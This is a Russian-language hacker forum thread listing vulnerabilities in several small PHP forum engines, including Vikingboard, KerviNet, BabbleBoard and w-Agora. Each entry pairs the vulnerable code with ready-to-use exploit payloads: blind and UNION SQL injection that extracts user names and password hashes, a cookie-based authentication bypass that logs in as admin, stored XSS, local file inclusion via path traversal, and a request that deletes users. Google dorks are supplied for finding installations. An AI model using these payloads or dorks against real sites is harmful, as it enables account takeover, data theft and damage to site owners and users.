Сайт: http://powerwd.com/
Cтарый проект (2006 год), который собрались реанимировать http://www.powerwd.com/forum/view_topic.php?id=868
SQL-injection
Уязвимый код:
register.php
. . .
else if (isset($_POST['form_sent']))
{
. . .
if(isset($_COOKIE["forumreferrer"]))
{
$referral_id = $_COOKIE["forumreferrer"];
$result = $db->query('SELECT referral_count FROM '.$db->prefix.'users WHERE id='.$referral_id) or error('Invalid Member ID', __FILE__, __LINE__, $db->error());
. . .
Переменная forumreferrer из куки не фильтруется. Инъекцию можно провести при регистрации нового пользователя
Эксплуатация:
Например отправляем пакет:
POST /register.php?action=register HTTP/1.1
Host: [host_name]
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; uk; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: uk,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Referer: [host_name]/register.php
Cookie: PHPSESSID=[PHPSESSID_value]; forumreferrer=1+and+1=if(substring(version(),1,1)= 5,1,(select+1+union+select+2)); forum_cookie=[forum_cookie_value]
Content-Type: application/x-www-form-urlencoded
Content-Length: [num_Cont_Len]
code=&form_sent=1&req_username=[username]&req_password1=[password]
&req_password2=[password]&req_image=[captcha]&req_email1=[email]&timezone=0&email_setting=1&save_pass=1
/////////////////////////
Vikingboard 0.1.2
_http://vikingboard.com
/////////////////////////
Файл с данными для подключения к бд:
/inc/drivers/sql/driver_MySQL.php
Структура базы:
`PREFIX|member`
`id` int(11) NOT NULL auto_increment,
`name` varchar(50) default NULL,
`password` varchar(50) default NULL,
`email` varchar(50) default NULL,
Директории доступные на запись:
/cache/
SQL - инъекция
/members.php
if (empty($_POST['order']))
{
$DESC = 'DESC';
}
else
{
$DESC = $_POST['order'];
}
/inc/drivers/sql/sql_MySQL.php
function get_member_list($order, $desc, $showfrom, $total)
{
$this->database->query("SELECT m.`id`, m.`name`, m.`posts`, m.`registred`, m.`homepage`, m.`title`, m.`group`, g.`g_name`
FROM {$this->prefix}member m, {$this->prefix}group g WHERE g.`id` = m.`group`
ORDER BY m.`{$order}` {$desc} LIMIT {$showfrom},{$total}");
$this->queries++;
return $this->database;
}
Пример эксплоита:
POST /vig/members.php HTTP/1.0
User-Agent: Opera/9.63 (Windows NT 5.1; U; ru) Presto/2.1.1
Host: localhost
Accept: text/html
order=and if(ord(substring((select password from vboard_member where id=2),1,1))>5,1,(select id from vboard_pm))/*
Актив XSS
/post_parser.php
//BBCode for images
$post = preg_replace("#\[img\]([^\"']+?)\[/img\]#is", "<img src=\"$1\" alt=\"\" />", $post);
[#img=javascript:eval(String.fromCharCode(97,108,10 1,114,116,40,39,120,115,115,39,41))]loleg![/img#]
склеил с предыдущим постом
Дорк: "Powered by Vikingboard"
KerviNet forum v 1.1
dork: "Copyright KerviNet"
Blind SQLinj & Auth Bypass
/index.phpif($_COOKIE['user_enter']=="auto") {
$enter_login=$_COOKIE['enter_login'];
$enter_parol=$_COOKIE['enter_parol'];
$mysql->query("SELECT name, pass, status FROM users WHERE name = '".$enter_login."' AND pass = '".$enter_parol."'");exploit:COOKIE: user_enter=auto
COOKIE: enter_login = abc
COOKIE: enter_parol = ' or name = (select name from users where id_user=1) and '1'='1';
sqlQuery: SELECT name, pass, status FROM users WHERE name = 'abc' AND pass = '' or name = (select name from users where id_user<10 limit 1)
и вы автоматом зайдете под админом, даже не зная его имени (:
SQLinj
/message.php9: $topic=$_GET['topic'];
18: if($topic) {
69: $mysql->query("SELECT name, viewing, voting, status, top_status, id_forum FROM topics WHERE id_topic = ".$topic);exploit:/message.php?topic=-1+union+select+1,concat_ws(0x3a,id_user,name,pass, email),3,4,5,6+from+users
SiXSS
magic_quotes = Off
/message.php
exploit:/message.php?topic=-1+union+select+1,'{XSS}',3,4,5,6+from+users
aXSS
/add_voting.php
22: $topic=$_GET['topic'];
61: if($topic) {
66: $forum_edit->add_voting($time, $topic, $v_vopros, $variants);
74: }
function add_voting($time, $topic, $v_vopros, $variants) {
global $user;
global $user_ip;
if($user) {
global $mysql;
$mysql->query("UPDATE topics SET voting = 1 WHERE id_topic = ".$topic);
$mysql->query("INSERT INTO v_name VALUES (0, '".$v_vopros."', ".$topic.")");
$id_vname=mysql_insert_id();
for($i=0; $i<count($variants); $i+=1) {
$vr_nom=$i+1;
$mysql->query("INSERT INTO v_variants VALUES (".$vr_nom.", '".$variants[$i]."', ".$id_vname.")");
}
}
return $id_vname;
}exploit:/add_voting.php?topic=1
POST: add_voting = ok_add
POST: v_vopros = v
POST: v_variant1 = {XSS}
POST: v_variant2 = v2
удаление пользователей
/admin/edit_user.php
$del_user_id=$_POST['del_user_id'];
$mysql->query("DELETE FROM users WHERE id_user = ".$del_user_id);
exploit:POST: del_user_id=(select user_id from users limit 1)
Full path disclosure/include_files/voting_diagram.php
/include_files/voting.php
/include_files/topics_search.php
/include_files/topics_list.php
/include_files/top_part.php
/include_files/quick_search.php
/include_files/quick_reply.php
/include_files/moder_menu.php
/include_files/messages_list.php
/include_files/menu.php
/include_files/head.php
/include_files/forums_list.php
/include_files/forum_statistics.php
/include_files/forum_info.php
/include_files/birthday.php
/admin/head.php
HAXTA4OK
05.09.2009, 09:58
Pehota_Forum v2.0b
Активная XSS
Сообщения,Уязвимое поле Тема
посылаем сообщение любому пользователю, в поле Тема указываем <script>alert(/hiho/)</script>
и при получение сообщения высвечивается alert :)
ЗЫ еще есть активка при создание новой темы в самом форуме , но из за if (strlen($topic) > 25 and $topic != "") ограничения в 25 символов не возможно ее реализовать в целом,тока <script>alert()</script>
BabbleBoard 1.1.6
Сайт: http://www.babbleboard.co.uk/
Табличка с юзерами: members (name, password)
Дефолтовый префикс: babbleboard_
дорк: "Powered by BabbleBoard"
Гугл выдал пару xss и csrf. Если я набоянил тут – сори
Множественные LFI’и , вот некоторые
mycontrols.php ( нужно быть зарегенным )
include "includes/pages/mycontrols/" . $_GET['act'] . ".php";
index.php?page=mycontrols&act=../../../../robots.txt%00
admin.php ( нужно быть админом)
include "includes/pages/admin/" . $_GET['act'] . ".php";
index.php?page=admin&act= ../../../../robots.txt%00
header.php
if (isset($_COOKIE['bb_lang']) && (!isset($_COOKIE['bb_name']))) {
$board_lang = $_COOKIE['bb_lang'];
// Get language files...
include "lang/$board_lang/lang_forum.php";
Редактируем куки bb_lang=../../../../../robots.txt%00
structure.php
$page = $_GET['page'];
$page = escape_string($page);
elseif (@include ("includes/pages/$page.php"))
site.com/forum/index.php?page=../../../../robots.txt/././.[...]
Пример: http://else-design.info/forum/index.php?page=../../../../robots.txt/././././.[...]/./.
SQL-injection
При меджик_квотес офф
Уязвимый код:
register.php
} elseif ($_POST['form'] != '') {
$query_email = "select EMAIL from {$db_prefix}members WHERE EMAIL='".$_POST['email']."'";
$result_email = mysql_query($query_email) or die("register.php - Error in query: $query_email");
$email_clash = mysql_num_rows($result_email);
Эксплуатировать инъекцию можно при регистрации, вставляя свой скл-код в поле email. Правда там есть такой злобный жаваскриптовский фильтр, который не даст нам зарегится, пока мы не удовлетворим его условия. В частности он проверяет чтобы был символ @ и не было запятых =) Можно отправить пакет вручную или состряпать например такой няшный запрос, чтобы обойтись без запятых
filter@fuckoff'/**/or/**/(case/**/when/**/ascii(substring((select/**/name/**/from/**/babbleboard_members/**/limit/**/1/*
*/offset/**/0)/**/from/**/1/**/for/**/1))>97/**/then/**/'1'/**/else/**/(select/**/1/**/union/**/select/**/2)/**/end)='1
w-Agora forum
Web site : http://www.w-agora.com
Version : 4.2.1
Local File Inclusion
Vuln file: globals.inc [str:169]
/*...*/
if (isset($_GET['lang']) ) {
$lang = strtolower($_GET['lang']);
} elseif (isset($_POST['lang'])) {
$lang = $_POST['lang'];
} elseif (isset($_COOKIE['wa_lang'])) {
$lang = $_COOKIE['wa_lang'];
} elseif (isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ) {
$lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
} elseif (isset($_COOKIE['lang'])) {
$lang = strtolower($_COOKIE['lang']);
}
/*...*/
require ("$lang_dir/lang_$lang.inc");
/*...*/
Exploit:
if magic_quotes = OFFGET http://[host]/[path]/index.php HTTP/1.0
Cookie: lang=/../../../../../../[local_file]%00-------------------------------------------
w-Agora <= 4.2.1 (cat) Remote SQL Injection Vulnerability (http://milw0rm.com/exploits/4817)
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot